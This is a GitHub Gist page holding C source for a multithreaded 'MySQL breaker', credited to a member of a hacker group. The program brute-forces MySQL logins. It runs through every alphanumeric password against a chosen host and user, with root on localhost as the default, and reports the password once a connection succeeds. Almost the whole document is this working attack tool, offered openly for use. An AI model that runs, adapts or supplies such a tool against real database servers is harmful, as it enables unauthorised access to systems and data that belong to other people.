Skip to content

Instantly share code, notes, and snippets.

@shurizzle
Created March 14, 2010 10:13
Show Gist options
  • Save shurizzle/331905 to your computer and use it in GitHub Desktop.
Save shurizzle/331905 to your computer and use it in GitHub Desktop.
/*
* Very simple mysql breaker
* DEVELOPER: shura, member of HUF, see https://hackers-uf.org/
*
* This program is free software. It comes without any warranty, to
* the extent permitted by applicable law. You can redistribute it
* and/or modify it under the terms of the Do What The Fuck You Want
* To Public License, Version 2, as published by Sam Hocevar. See
* http://sam.zoy.org/wtfpl/COPYING for more details.
*
* TO COMPILE:
* gcc -Wall -Wextra -ansi -pedantic -pedantic-errors -o mysql_breaker mysql_breaker.c -lmysqlclient -lpthread
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <mysql/mysql.h>
#include <pthread.h>
#include <getopt.h>
#define STR_BLOCK 10
#define NTHREADS 10
const char alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_";
const int alphabet_len = 63;
const struct option long_options[] =
{
{"host", required_argument, 0, 'H'},
{"user", required_argument, 0, 'u'},
{"threads", required_argument, 0, 't'},
{"pass", required_argument, 0, 'p'},
{"help", no_argument, 0, 'h'}
};
MYSQL * mh;
char * server = "localhost";
char * user = "root";
char * password;
int plen = 0;
int threads = NTHREADS;
char * rightpass = NULL;
pthread_mutex_t passres = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t msqlres = PTHREAD_MUTEX_INITIALIZER;
#define test_password(pass) mysql_real_connect (mh, server, user, pass, NULL, 0, NULL, 0)
#define init_handler() mh = (MYSQL *) malloc (sizeof (MYSQL));\
mysql_init (mh)
#define init_pass() password = (char *) calloc (STR_BLOCK + 1, sizeof (char));\
password[0] = alphabet[0];\
plen = 1
void help (const char []);
char * strdup (char *);
void inc_string ();
void * test_passwd (void *);
void * print_func (void *);
int
main (int argc,
char ** argv)
{
int i, c, option_index;
pthread_t * testers;
pthread_t printer;
init_pass ();
while (1)
{
option_index = 0;
c = getopt_long (argc, argv, "hH:u:t:p:", long_options, &option_index);
if (c == -1)
break;
switch (c)
{
case 'H':
server = strdup (optarg);
break;
case 'u':
user = strdup (optarg);
break;
case 't':
threads = atoi (optarg);
break;
case 'p':
password = strdup (optarg);
plen = strlen (password);
break;
case 'h':
help (argv[0]);
break;
case '?':
exit (0);
break;
default:
puts ("Options not valid, show helps with '-h' or '--help'");
exit (0);
break;
}
}
init_handler ();
testers = (pthread_t *) calloc (threads, sizeof (pthread_t));
for (i = 0; i < threads; i++)
pthread_create (&testers[i], NULL, test_passwd, NULL);
pthread_create (&printer, NULL, print_func, NULL);
for (i = 0; i < threads; i++)
pthread_join (testers[i], NULL);
pthread_join (printer, NULL);
printf ("\nLa password giusta è: \"%s\"\n", rightpass);
free (password);
free (rightpass);
mysql_close (mh);
pthread_mutex_destroy (&passres);
pthread_mutex_destroy (&msqlres);
return 0;
}
void
inc_string ()
{
int i;
char end = 1;
for (i = plen - 1; i >= 0; i--)
{
if (password[i] != alphabet[alphabet_len - 1])
{
password[i] = * (strchr (alphabet, password[i]) + 1);
end = 0;
break;
}
}
if (end)
{
if (!(plen % STR_BLOCK))
{
password = (char *) realloc (password, (plen + STR_BLOCK + 1) * sizeof (char));
memset (password + plen, 0, STR_BLOCK);
}
password[plen++] = alphabet[0];
for (i = 0; i < plen; i++)
password[i] = alphabet[0];
return;
}
for (i += 1; i < plen; i++)
password[i] = alphabet[0];
}
void *
test_passwd (void * args)
{
char * testing = calloc (STR_BLOCK + 1, sizeof (char));
int talloc = STR_BLOCK;
while (rightpass == NULL)
{
pthread_mutex_lock (&msqlres);
if (test_password (testing))
{
pthread_mutex_unlock (&msqlres);
rightpass = testing;
return NULL;
}
pthread_mutex_unlock (&msqlres);
pthread_mutex_lock (&passres);
inc_string ();
if (talloc == plen)
testing = (char *) realloc (testing, ((talloc += STR_BLOCK) + 1) * sizeof (char));
strcpy (testing, password);
pthread_mutex_unlock (&passres);
}
free (testing);
return NULL;
}
void *
print_func (void * args)
{
while (rightpass == NULL)
{
pthread_mutex_lock (&passres);
printf ("Last tested: %s\n", password);
pthread_mutex_unlock (&passres);
sleep (1);
}
return NULL;
}
char *
strdup (char * str)
{
char * dup = (char *) malloc ((strlen (str) + 1) * sizeof (char));
strcpy (dup, str);
return dup;
}
void
help (const char pname[])
{
puts ("MySQL Breaker, author shura, member of HUF -> https://www.hackers-uf.org/");
puts ("Licence: WTFPL -> http://sam.zoy.org/wtfpl/COPYING");
printf ("\nUSAGE: %s [ARGUMENTS]\n", pname);
puts ("");
puts (" --help | -h show this help");
puts (" --host | -H set host, default is \"localhost\"");
puts (" --user | -u set user, default is \"root\"");
puts (" --pass | -p set startin password, default is \"A\"");
puts (" --threads | -t set number of threads, default is 10");
puts ("");
exit (0);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment